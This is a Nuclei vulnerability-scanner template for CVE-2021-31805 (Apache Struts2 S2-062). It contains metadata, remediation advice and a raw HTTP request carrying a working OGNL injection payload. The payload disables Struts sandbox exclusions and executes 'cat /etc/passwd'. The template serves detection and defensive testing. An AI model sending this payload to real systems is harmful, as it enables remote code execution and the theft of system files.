nuclei-templates/http/cves/2021/CVE-2021-31805.yaml

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id: CVE-2021-31805
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info:
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name: Apache Struts2 S2-062 - Remote Code Execution
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author: taielab
severity: critical
description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
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reference:
- https://cwiki.apache.org/confluence/display/WW/S2-062
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- https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
- https://nvd.nist.gov/vuln/detail/CVE-2021-31805
remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-31805
cwe-id: CWE-917
tags: cve,cve2021,apache,rce,struts,struts2
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http:
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- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1095
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# Enhanced by mp on 2022/04/21